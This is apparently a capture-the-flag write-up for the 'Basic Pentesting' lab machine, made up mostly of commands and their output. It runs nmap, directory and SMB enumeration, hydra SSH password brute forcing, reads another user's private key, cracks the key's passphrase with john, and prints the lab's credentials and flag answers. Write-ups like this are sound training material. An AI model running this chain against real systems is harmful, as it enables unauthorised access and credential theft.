

Basic Pentesting

This is a machine that allows you to practise web app hacking and privilege escalation

Task 1 Web App Testing and Privilege Escalation

Find the services exposed by the machine

Command: **sudo nmap -sV -O 10.10.107.53**

```
(cyvally@Cyvally) - [~/Downloads]
$ sudo nmap -sV -O 10.10.107.53 [this is quite common and not fatal. Connection refused (111)]
[sudo] password for cyvally:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-04 20:35 WAT
Nmap scan report for 10.10.107.53
Host is up (0.68s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8080/tcp  open  http         Apache Tomcat 9.0.7
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/4%OT=22%CT=1%CU=39593%PV=Y%DS=4%DC=I%G=Y%TM=66368
OS:E61%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=104%TI=Z%CI=I%TS=8)SEQ(SP
OS:=108%GCD=1%ISR=105%TI=Z%CI=I%II=I%TS=8)OPS(O1=M508ST11NW6%O2=M508ST11NW6
OS:%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=68DF%W
OS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NN
OS:SNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

What is the name of the hidden directory on the web server(enter name without /)?

Answer: **development**

→ I used gobuster tool to enumerate directories

Command: **gobuster dir -u http://10.10.107.53 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt**

```
(cyvally@Cyvally) - [~/Downloads]
$ gobuster dir -u http://10.10.107.53 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:             http://10.10.107.53
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:         /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s

Starting gobuster in directory enumeration mode

/development (Status: 301) [Size: 318] [→ http://10.10.107.53/development/]
```

User brute-forcing to find the username & password

→ Since the system is running Samba (SMB), I used enum4linux to enumerate Windows and Samba systems.

command: **enum4linux 10.10.107.53 -U**

What is the username?

Answer: **jan**

```
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
```

What is the password?

Answer: **armando**

→ Since ssh is running on the server, i used it to bruteforce via the hydra tool

command: **hydra ssh://10.10.107.53 -l jan -P /usr/share/wordlists/rockyou.txt**

```
cyvally@cyvally:~/Downloads$ hydra ssh://10.10.107.53 -l jan -P /usr/share/wordlists/rockyou.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-04 21:49:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.107.53:22/
[STATUS] 91.00 tries/min, 91 tries in 00:01h, 14344309 to do in 2627:10h, 15 active
[STATUS] 105.00 tries/min, 315 tries in 00:03h, 14344085 to do in 2276:51h, 15 active
[STATUS] 90.43 tries/min, 633 tries in 00:07h, 14343767 to do in 2643:40h, 15 active
(22)[ssh] host: 10.10.107.53 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-04 21:58:40
```

What service do you use to access the server(answer in abbreviation in all caps)?

Answer: **SSH**

Enumerate the machine to find any vectors for privilege escalation

→ I ssh into jan's account using her username and password

Command: **ssh jan@10.10.93.192**

```
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

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Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$
```

i am in!!!

- Looking around the system, I found a directory for User Kay.
- This directory has an interesting file called pass.bak that contains his password, but I do not have the permission to read it with the current user.
- This is where privilege escalation comes into play

What is the name of the other user you found(all lower case)?

Answer: **kay**

```
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
```

- In Kay's directory, i also found .ssh directory

```
jan@basic2:~$ ls
jan@basic2:~$ cd /home
jan@basic2:/home$ ls
jan kay
jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ ls
pass.bak
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwxr-xr-x 2 kay kay 4096 Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$
```

interesting directories

- I navigated to the .ssh directory, and I saw that I have permission to read an id_rsa file that contains the private key to access the ssh server.

→ This is a flaw that can be exploited

```
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$
```

→ I checked the content of the id_rsa file

Command: **cat id_rsa**

```
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr40NGUAnKcRcg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmB487RdFVktOVQrVHTy1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRIGcXPY8B7nsA1eiPYrPZHIH3QOFIYLSPMYv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBjtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmpIeflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqykLKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqG1rM+eWVoX0rZPB1v8iyNTDdDE
3jrJqbg0GLPs01hAWKIRxUPaEr18lcZ+0LY00Vw2oNL2xKUGtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oK01aRGMqLFNwaPxJYV6HauUoVexN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdXVy
VqVjsot+CzF7mbWm5nFSPPLOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMMVe
B0WhqnPtDtVtg3sFdjxp0hgXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUdON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKkb0+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XLWR+4HxbotPjX6RVByEPZ/kVi0q3S1
GpwHSRZon320*A4h0PkC666JdyHLS6B328uViI6Da6frYi0nA4TEjJTP05RpcSEK
QKIG65gICbpcWj1U4I9mEHZeHc0r2lyufZbnfYUrqCvO8+mS8X75seeoNz8auQL
4DI4IXITq5saCHP4y/ntmz1A3Q0FNjZXAqdfK/hTAdhMQ5diGxNw3tbnD8wGveG
VfNSaExXeZa39j0gm3VboN6cAXpz124Kj0bEwzxCBzWKi0CPHFLYuMoDeLqP/Nik
oSXloJc8aZemI15RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1iFdsMO4nUnyJ3
z+3XTDtz0uL5NiY4JjCPLhTNNjAlqnpC0aqad7gV3RD/asml2L2kB0UT8PrTtt+S
baXKPFH0dHmownGmDatJP+eMrc6S896+HAXvvcPxLkNtI7+jsNTWuPBCntSFvo19
l9+xxd55YtVo1Y8RMwjopzX7h0Rt7U+Y9N/BVtbt+XzmYLnu+3q0q4W2qOynM2P
```

→ I copied it and saved it in a file called key.txt, using the editor tool,nano (on my local machine)

```
GNU nano 7.2 key.txt
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr40NGUAnKcRcg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmB487RdFVktOVQrVHTy1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRIGcXPY8B7nsA1eiPYrPZHIH3QOFIYLSPMYv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBjtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmpIeflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqykLKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqG1rM+eWVoX0rZPB1v8iyNTDdDE
3jrJqbg0GLPs01hAWKIRxUPaEr18lcZ+0LY00Vw2oNL2xKUGtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oK01aRGMqLFNwaPxJYV6HauUoVexN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdXVy
VqVjsot+CzF7mbWm5nFSPPLOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMMVe
B0WhqnPtDtVtg3sFdjxp0hgXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUdON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKkb0+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XLWR+4HxbotPjX6RVByEPZ/kVi0q3S1
GpwHSRZon320*A4h0PkC666JdyHLS6B328uViI6Da6frYi0nA4TEjJTP05RpcSEK
QKIG65gICbpcWj1U4I9mEHZeHc0r2lyufZbnfYUrqCvO8+mS8X75seeoNz8auQL
4DI4IXITq5saCHP4y/ntmz1A3Q0FNjZXAqdfK/hTAdhMQ5diGxNw3tbnD8wGveG
VfNSaExXeZa39j0gm3VboN6cAXpz124Kj0bEwzxCBzWKi0CPHFLYuMoDeLqP/Nik
oSXloJc8aZemI15RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1iFdsMO4nUnyJ3
z+3XTDtz0uL5NiY4JjCPLhTNNjAlqnpC0aqad7gV3RD/asml2L2kB0UT8PrTtt+S
```

→ I changed the file's permission so that it will be accepted during the ssh login attempt

Command: **chmod 600 "file name"**

I.e **chmod 600 key.txt**

```
(cyvally@Cyvally)-[~/Downloads]
$ chmod 600 key.txt
```

→ Next, I try to ssh by sending this file as password and using the argument -i to specify the file.

Command: **ssh -i "file name" kay@"target IP"**

I.e **ssh -i key.txt kay@10.10.93.192**

→ But i was prompted to provide a passphrase, that is protecting the kay's key, which i do not have, yet

```
(cyvally@Cyvally)-[~/Downloads]
$ ssh -i key.txt kay@10.10.93.192
Enter passphrase for key 'key.txt':
```

→ I extracted a hash from the file using ssh2john.py tool

Command: **python3 /usr/share/john/ssh2john.py key.txt > kay_passphrase.txt**

Where: key.txt : filename with key

Kay_passphrase.txt: name for the hash file

```
(cyvally@Cyvally)-[~/Downloads]
$ python3 /usr/share/john/ssh2john.py key.txt > kay_passphrase.txt
```

→ To get the passphrase, I cracked this hash using the john tool

→ I got the Passphrase as **beeswax**

```
(cyvally@Cyvally)-[~/Downloads]
$ john -wordlist:/usr/share/wordlists/rockyou.txt kay_passphrase.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (key.txt)
1g 0:00:00:00 DONE (2024-05-05 15:43) 2.500g/s 206805p/s 206805c/s 206805C/s beeswax
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```


→ I used it to login

```
(cyvally@Cyvally)~[~/Downloads]
$ ssh -i key.txt kay@10.10.93.192
Enter passphrase for key 'key.txt':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$
```



What is the final password you obtain?

Answer: `heresareallystrongpasswordthatfollowsthepasswordpolicy$$`

```
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$
```



END!!!